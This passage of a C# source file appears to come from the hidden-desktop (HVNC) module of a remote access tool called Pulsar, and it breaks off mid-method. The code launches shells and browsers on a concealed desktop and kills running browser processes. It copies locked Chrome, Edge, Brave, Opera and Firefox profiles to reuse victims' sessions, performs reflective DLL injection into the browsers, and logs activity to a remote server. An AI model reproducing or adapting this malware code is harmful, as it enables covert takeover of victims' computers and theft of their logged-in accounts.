870 lines
34 KiB
C#
870 lines
34 KiB
C#
using Microsoft.Win32;
|
||||
|
|
using Pulsar.Client.Helper.HVNC.Chromium;
|
|||
|
|
using Pulsar.Client.LoggingAPI;
|
|||
|
|
using System;
|
|||
|
|
using System.Diagnostics;
|
|||
|
|
using System.IO;
|
|||
|
|
using System.Runtime.InteropServices;
|
|||
|
|
using System.Threading;
|
|||
|
|
using System.Threading.Tasks;
|
|||
|
|
|
|||
|
|
namespace Pulsar.Client.Helper.HVNC
|
|||
|
|
{
|
|||
|
|
public class ProcessController
|
|||
|
|
{
|
|||
|
|
public ProcessController(string DesktopName)
|
|||
|
|
{
|
|||
|
|
this.DesktopName = DesktopName;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[DllImport("kernel32.dll")]
|
|||
|
|
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
|
|||
|
|
|
|||
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|||
|
|
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
|||
|
|
|
|||
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|||
|
|
private static extern bool CloseHandle(IntPtr hObject);
|
|||
|
|
|
|||
|
|
private const uint WAIT_OBJECT_0 = 0x00000000;
|
|||
|
|
private const uint WAIT_TIMEOUT = 0x00000102;
|
|||
|
|
private const uint INFINITE = 0xFFFFFFFF;
|
|||
|
|
private const int STARTF_USEPOSITION = 0x00000004;
|
|||
|
|
|
|||
|
|
private readonly struct CloneResult
|
|||
|
|
{
|
|||
|
|
public CloneResult(bool success, bool cancelled, string destination)
|
|||
|
|
{
|
|||
|
|
Success = success;
|
|||
|
|
Cancelled = cancelled;
|
|||
|
|
Destination = destination ?? string.Empty;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public bool Success { get; }
|
|||
|
|
|
|||
|
|
public bool Cancelled { get; }
|
|||
|
|
|
|||
|
|
public string Destination { get; }
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static bool DeleteFolder(string folderPath)
|
|||
|
|
{
|
|||
|
|
bool result;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (Directory.Exists(folderPath))
|
|||
|
|
{
|
|||
|
|
Directory.Delete(folderPath, true);
|
|||
|
|
result = true;
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Folder does not exist.");
|
|||
|
|
result = false;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Error deleting folder: " + ex.Message);
|
|||
|
|
result = false;
|
|||
|
|
}
|
|||
|
|
return result;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void CleanupCancelledClone(string destinationDir)
|
|||
|
|
{
|
|||
|
|
if (string.IsNullOrWhiteSpace(destinationDir))
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (Directory.Exists(destinationDir))
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"[BrowserClone] Cleaning up cancelled clone at '{destinationDir}'");
|
|||
|
|
DeleteFolder(destinationDir);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (Exception cleanupEx)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"[BrowserClone] Cleanup failed for '{destinationDir}': {cleanupEx.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StartCmd()
|
|||
|
|
{
|
|||
|
|
string path = "conhost cmd.exe";
|
|||
|
|
this.CreateProc(path);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StartPowershell()
|
|||
|
|
{
|
|||
|
|
string path = "conhost powershell.exe";
|
|||
|
|
this.CreateProc(path);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StartGeneric(string path)
|
|||
|
|
{
|
|||
|
|
string command = "conhost " + path;
|
|||
|
|
this.CreateProc(command);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public async Task StartFirefoxAsync()
|
|||
|
|
{
|
|||
|
|
BrowserCloneProgressSession progressSession = null;
|
|||
|
|
Task completionTask = Task.CompletedTask;
|
|||
|
|
bool cloneSucceeded = false;
|
|||
|
|
bool cloneCancelled = false;
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
string basePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Mozilla", "Firefox");
|
|||
|
|
|
|||
|
|
if (!Directory.Exists(basePath))
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Firefox base directory not found.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
string sourceDir = Path.Combine(basePath, "Profiles");
|
|||
|
|
if (!Directory.Exists(sourceDir))
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Firefox profiles directory not found.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
string destination = Path.Combine(basePath, "fudasf");
|
|||
|
|
if (Directory.Exists(destination))
|
|||
|
|
{
|
|||
|
|
DeleteFolder(destination);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
progressSession = await BrowserCloneProgressSession.TryCreateAsync("Firefox").ConfigureAwait(false);
|
|||
|
|
progressSession?.ReportPreparing();
|
|||
|
|
|
|||
|
|
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
cloneSucceeded = await Task.Run(() => HandleHijacker.ForceCopyDirectory(sourceDir, destination, killIfFailed: false, progressSession?.Progress, cancellationToken)).ConfigureAwait(false);
|
|||
|
|
}
|
|||
|
|
catch (OperationCanceledException)
|
|||
|
|
{
|
|||
|
|
cloneCancelled = true;
|
|||
|
|
CleanupCancelledClone(destination);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (cloneCancelled)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Firefox profile cloning cancelled by user – skipping launch.");
|
|||
|
|
}
|
|||
|
|
else if (cloneSucceeded)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Firefox profile cloned successfully.");
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Firefox profile cloning reported partial success; some files may be locked.");
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
bool completedSuccessfully = cloneSucceeded && !cloneCancelled;
|
|||
|
|
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
|
|||
|
|
|
|||
|
|
if (cloneCancelled)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
string startCommand = $"Conhost --headless cmd.exe /c start firefox --profile=\"{destination}\"";
|
|||
|
|
CreateProc(startCommand);
|
|||
|
|
}
|
|||
|
|
catch (OperationCanceledException)
|
|||
|
|
{
|
|||
|
|
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
|
|||
|
|
cloneCancelled = true;
|
|||
|
|
Debug.WriteLine("Firefox profile cloning cancelled by user.");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
|
|||
|
|
Debug.WriteLine("Error starting Firefox: " + ex.Message);
|
|||
|
|
}
|
|||
|
|
finally
|
|||
|
|
{
|
|||
|
|
await completionTask.ConfigureAwait(false);
|
|||
|
|
progressSession?.Dispose();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public async Task StartBraveAsync(byte[] dllbytes)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
var braveConfig = BrowserConfiguration.GetConfig("Brave");
|
|||
|
|
if (braveConfig == null || !BrowserConfiguration.ValidateConfig(braveConfig))
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Brave executable not found.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Debug.WriteLine($"Found Brave at: {braveConfig.ExecutablePath}");
|
|||
|
|
|
|||
|
|
var cloneResult = await CloneBrowserProfileAsync(braveConfig.SearchPattern, braveConfig.ReplacementPath, "Brave").ConfigureAwait(false);
|
|||
|
|
if (cloneResult.Cancelled)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Brave profile cloning cancelled by user – skipping injection.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
await Task.Run(() => KDOTInjector.Start(dllbytes, braveConfig.ExecutablePath, braveConfig.SearchPattern, braveConfig.ReplacementPath)).ConfigureAwait(false);
|
|||
|
|
Debug.WriteLine("Brave started successfully with reflective DLL injection.");
|
|||
|
|
}
|
|||
|
|
catch (Exception injectionEx)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Error during Brave DLL injection: {injectionEx.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (OperationCanceledException)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Brave profile cloning cancelled by user.");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Error starting Brave: " + ex.Message);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public async Task StartOperaAsync(byte[] dllbytes)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
var operaConfig = BrowserConfiguration.GetConfig("Opera");
|
|||
|
|
if (operaConfig == null || !BrowserConfiguration.ValidateConfig(operaConfig))
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Opera executable not found.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Debug.WriteLine($"Found Opera at: {operaConfig.ExecutablePath}");
|
|||
|
|
|
|||
|
|
var cloneResult = await CloneBrowserProfileAsync(operaConfig.SearchPattern, operaConfig.ReplacementPath, "Opera").ConfigureAwait(false);
|
|||
|
|
if (cloneResult.Cancelled)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Opera profile cloning cancelled by user – skipping injection.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaConfig.ExecutablePath, operaConfig.SearchPattern, operaConfig.ReplacementPath)).ConfigureAwait(false);
|
|||
|
|
if (processId > 0)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Opera started successfully with reflective DLL injection.");
|
|||
|
|
|
|||
|
|
await Task.Delay(2000).ConfigureAwait(false);
|
|||
|
|
_ = Task.Run(async () =>
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
|
|||
|
|
}
|
|||
|
|
catch (Exception patchEx)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Opera patcher error: {patchEx.Message}");
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Failed to start Opera process.");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (Exception injectionEx)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Error during Opera DLL injection: {injectionEx.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (OperationCanceledException)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Opera profile cloning cancelled by user.");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Error starting Opera: " + ex.Message);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public async Task StartOperaGXAsync(byte[] dllbytes)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
var operaGXConfig = BrowserConfiguration.GetConfig("OperaGX");
|
|||
|
|
if (operaGXConfig == null || !BrowserConfiguration.ValidateConfig(operaGXConfig))
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("OperaGX executable not found.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Debug.WriteLine($"Found OperaGX at: {operaGXConfig.ExecutablePath}");
|
|||
|
|
|
|||
|
|
var cloneResult = await CloneBrowserProfileAsync(operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath, "Opera GX").ConfigureAwait(false);
|
|||
|
|
if (cloneResult.Cancelled)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("OperaGX profile cloning cancelled by user – skipping injection.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaGXConfig.ExecutablePath, operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath)).ConfigureAwait(false);
|
|||
|
|
if (processId > 0)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("OperaGX started successfully with reflective DLL injection.");
|
|||
|
|
|
|||
|
|
await Task.Delay(2000).ConfigureAwait(false);
|
|||
|
|
_ = Task.Run(async () =>
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
|
|||
|
|
}
|
|||
|
|
catch (Exception patchEx)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"OperaGX patcher error: {patchEx.Message}");
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Failed to start OperaGX process.");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (Exception injectionEx)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Error during OperaGX DLL injection: {injectionEx.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (OperationCanceledException)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("OperaGX profile cloning cancelled by user.");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Error starting OperaGX: " + ex.Message);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public async Task StartEdgeAsync(byte[] dllbytes)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
var edgeConfig = BrowserConfiguration.GetConfig("Edge");
|
|||
|
|
if (edgeConfig == null || !BrowserConfiguration.ValidateConfig(edgeConfig))
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Edge executable not found.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Debug.WriteLine($"Found Edge at: {edgeConfig.ExecutablePath}");
|
|||
|
|
|
|||
|
|
var cloneResult = await CloneBrowserProfileAsync(edgeConfig.SearchPattern, edgeConfig.ReplacementPath, "Edge").ConfigureAwait(false);
|
|||
|
|
if (cloneResult.Cancelled)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Edge profile cloning cancelled by user – skipping injection.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
await Task.Run(() => KDOTInjector.Start(dllbytes, edgeConfig.ExecutablePath, edgeConfig.SearchPattern, edgeConfig.ReplacementPath)).ConfigureAwait(false);
|
|||
|
|
Debug.WriteLine("Edge started successfully with reflective DLL injection.");
|
|||
|
|
}
|
|||
|
|
catch (Exception injectionEx)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Error during Edge DLL injection: {injectionEx.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (OperationCanceledException)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Edge profile cloning cancelled by user.");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Error starting Edge: " + ex.Message);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public async Task StartChromeAsync(byte[] dllbytes)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
var chromeConfig = BrowserConfiguration.GetChromeConfig();
|
|||
|
|
if (chromeConfig == null)
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer("Chrome executable not found.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Found Chrome at: {chromeConfig.ExecutablePath}");
|
|||
|
|
|
|||
|
|
var cloneResult = await CloneBrowserProfileAsync(chromeConfig.SearchPattern, chromeConfig.ReplacementPath, "Chrome").ConfigureAwait(false);
|
|||
|
|
if (cloneResult.Cancelled)
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user – skipping injection.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
await Task.Run(() => KDOTInjector.Start(dllbytes, chromeConfig.ExecutablePath, chromeConfig.SearchPattern, chromeConfig.ReplacementPath)).ConfigureAwait(false);
|
|||
|
|
UniversalDebugLogger.SendLogToServer("Chrome started successfully with reflective DLL injection.");
|
|||
|
|
}
|
|||
|
|
catch (Exception injectionEx)
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Error during DLL injection: {injectionEx.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (OperationCanceledException)
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user.");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer("Error starting Chrome: " + ex.Message);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|||
|
|
private static extern uint ResumeThread(IntPtr hThread);
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Generic method to start any browser by type with reflective DLL injection.
|
|||
|
|
/// </summary>
|
|||
|
|
/// <param name="browserType">Type of browser (Chrome, Edge, Brave, Opera, OperaGX)</param>
|
|||
|
|
/// <param name="dllbytes">DLL bytes to inject</param>
|
|||
|
|
public async Task StartBrowserAsync(string browserType, byte[] dllbytes)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (browserType.Equals("Chrome", StringComparison.OrdinalIgnoreCase))
|
|||
|
|
{
|
|||
|
|
await StartChromeAsync(dllbytes).ConfigureAwait(false);
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
var config = BrowserConfiguration.GetConfig(browserType);
|
|||
|
|
if (config == null || !BrowserConfiguration.ValidateConfig(config))
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"{browserType} executable not found.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Debug.WriteLine($"Found {browserType} at: {config.ExecutablePath}");
|
|||
|
|
|
|||
|
|
string processName = Path.GetFileNameWithoutExtension(config.ExecutablePath).ToLower();
|
|||
|
|
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
|
|||
|
|
|
|||
|
|
STARTUPINFO startupInfo = default(STARTUPINFO);
|
|||
|
|
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
|
|||
|
|
startupInfo.lpDesktop = this.DesktopName;
|
|||
|
|
startupInfo.dwX = 0;
|
|||
|
|
startupInfo.dwY = 0;
|
|||
|
|
startupInfo.dwFlags = STARTF_USEPOSITION;
|
|||
|
|
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
|
|||
|
|
|
|||
|
|
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Waiting for {browserType} processes to terminate...");
|
|||
|
|
WaitForProcessCompletion(processInfo, 5000);
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine("Failed to create taskkill process, using fallback delay.");
|
|||
|
|
await Task.Delay(500).ConfigureAwait(false);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
var cloneResult = await CloneBrowserProfileAsync(config.SearchPattern, config.ReplacementPath, browserType).ConfigureAwait(false);
|
|||
|
|
if (cloneResult.Cancelled)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"{browserType} profile cloning cancelled by user – skipping injection.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, config.ExecutablePath, config.SearchPattern, config.ReplacementPath)).ConfigureAwait(false);
|
|||
|
|
if (processId > 0)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"{browserType} started successfully with reflective DLL injection.");
|
|||
|
|
|
|||
|
|
if (browserType.Equals("Opera", StringComparison.OrdinalIgnoreCase) ||
|
|||
|
|
browserType.Equals("OperaGX", StringComparison.OrdinalIgnoreCase))
|
|||
|
|
{
|
|||
|
|
await Task.Delay(2000).ConfigureAwait(false);
|
|||
|
|
_ = Task.Run(async () =>
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
|
|||
|
|
}
|
|||
|
|
catch (Exception patchEx)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"{browserType} patcher error: {patchEx.Message}");
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Failed to start {browserType} process.");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (Exception injectionEx)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Error during {browserType} DLL injection: {injectionEx.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (OperationCanceledException)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"{browserType} profile cloning cancelled by user.");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Error starting {browserType}: {ex.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public bool CreateProc(string filePath)
|
|||
|
|
{
|
|||
|
|
STARTUPINFO structure = default(STARTUPINFO);
|
|||
|
|
structure.cb = Marshal.SizeOf<STARTUPINFO>(structure);
|
|||
|
|
structure.lpDesktop = this.DesktopName;
|
|||
|
|
// try setting position to 0,0
|
|||
|
|
structure.dwX = 0;
|
|||
|
|
structure.dwY = 0;
|
|||
|
|
structure.dwFlags = STARTF_USEPOSITION;
|
|||
|
|
PROCESS_INFORMATION process_INFORMATION = default(PROCESS_INFORMATION);
|
|||
|
|
return CreateProcess(null, filePath, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StartDiscord()
|
|||
|
|
{
|
|||
|
|
string discordPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Discord\\Update.exe";
|
|||
|
|
if (!File.Exists(discordPath)) return;
|
|||
|
|
|
|||
|
|
string killCommand = "Conhost --headless cmd.exe /c taskkill /IM discord.exe /F";
|
|||
|
|
this.CreateProc(killCommand);
|
|||
|
|
Thread.Sleep(1000);
|
|||
|
|
string startCommand = "\"" + discordPath + "\" --processStart Discord.exe";
|
|||
|
|
this.CreateProc(startCommand);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StartExplorer()
|
|||
|
|
{
|
|||
|
|
uint num = 2U;
|
|||
|
|
string name = "TaskbarGlomLevel";
|
|||
|
|
string name2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced";
|
|||
|
|
using (RegistryKey registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(name2, true))
|
|||
|
|
{
|
|||
|
|
if (registryKey != null)
|
|||
|
|
{
|
|||
|
|
object value = registryKey.GetValue(name);
|
|||
|
|
if (value is uint)
|
|||
|
|
{
|
|||
|
|
uint num2 = (uint)value;
|
|||
|
|
if (num2 != num)
|
|||
|
|
{
|
|||
|
|
registryKey.SetValue(name, num, RegistryValueKind.DWord);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
string explorerPath = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\explorer.exe /NoUACCheck";
|
|||
|
|
this.CreateProc(explorerPath);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Clones browser profile from SearchPattern to ReplacementPath.
|
|||
|
|
/// Executes on a background thread to avoid blocking message processing.
|
|||
|
|
/// </summary>
|
|||
|
|
/// <param name="searchPattern">Relative path pattern (e.g., "Local\Google\Chrome\User Data")</param>
|
|||
|
|
/// <param name="replacementPath">Relative path for destination (e.g., "Local\Google\Chrome\KDOT")</param>
|
|||
|
|
private async Task<CloneResult> CloneBrowserProfileAsync(string searchPattern, string replacementPath, string browserName = null)
|
|||
|
|
{
|
|||
|
|
BrowserCloneProgressSession progressSession = null;
|
|||
|
|
Task completionTask = Task.CompletedTask;
|
|||
|
|
CloneResult cloneResult = default;
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
progressSession = await BrowserCloneProgressSession.TryCreateAsync(browserName).ConfigureAwait(false);
|
|||
|
|
progressSession?.ReportPreparing();
|
|||
|
|
|
|||
|
|
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
|
|||
|
|
|
|||
|
|
cloneResult = await Task.Run(() => CloneBrowserProfileInternal(
|
|||
|
|
searchPattern,
|
|||
|
|
replacementPath,
|
|||
|
|
cancellationToken,
|
|||
|
|
progressSession?.Progress)).ConfigureAwait(false);
|
|||
|
|
|
|||
|
|
bool completedSuccessfully = cloneResult.Success && !cloneResult.Cancelled;
|
|||
|
|
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
|
|||
|
|
|
|||
|
|
return cloneResult;
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
|
|||
|
|
throw;
|
|||
|
|
}
|
|||
|
|
finally
|
|||
|
|
{
|
|||
|
|
await completionTask.ConfigureAwait(false);
|
|||
|
|
progressSession?.Dispose();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private CloneResult CloneBrowserProfileInternal(
|
|||
|
|
string searchPattern,
|
|||
|
|
string replacementPath,
|
|||
|
|
CancellationToken cancellationToken,
|
|||
|
|
IProgress<BrowserCloneProgress> progress)
|
|||
|
|
{
|
|||
|
|
string localSearch = searchPattern;
|
|||
|
|
string localReplacement = replacementPath;
|
|||
|
|
|
|||
|
|
string baseDir;
|
|||
|
|
if (localSearch.StartsWith("Local\\", StringComparison.OrdinalIgnoreCase))
|
|||
|
|
{
|
|||
|
|
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
|
|||
|
|
localSearch = localSearch.Substring(6);
|
|||
|
|
localReplacement = localReplacement.Substring(6);
|
|||
|
|
}
|
|||
|
|
else if (localSearch.StartsWith("Roaming\\", StringComparison.OrdinalIgnoreCase))
|
|||
|
|
{
|
|||
|
|
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
|||
|
|
localSearch = localSearch.Substring(8);
|
|||
|
|
localReplacement = localReplacement.Substring(8);
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Invalid search pattern format: {localSearch}");
|
|||
|
|
return new CloneResult(false, false, string.Empty);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
string sourceDir = Path.Combine(baseDir, localSearch);
|
|||
|
|
string destDir = Path.Combine(baseDir, localReplacement);
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
cancellationToken.ThrowIfCancellationRequested();
|
|||
|
|
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Cloning browser profile from '{sourceDir}' to '{destDir}'");
|
|||
|
|
|
|||
|
|
if (!Directory.Exists(sourceDir))
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Source directory does not exist: {sourceDir}");
|
|||
|
|
return new CloneResult(false, false, destDir);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (Directory.Exists(destDir))
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Removing existing destination directory: {destDir}");
|
|||
|
|
DeleteFolder(destDir);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
cancellationToken.ThrowIfCancellationRequested();
|
|||
|
|
|
|||
|
|
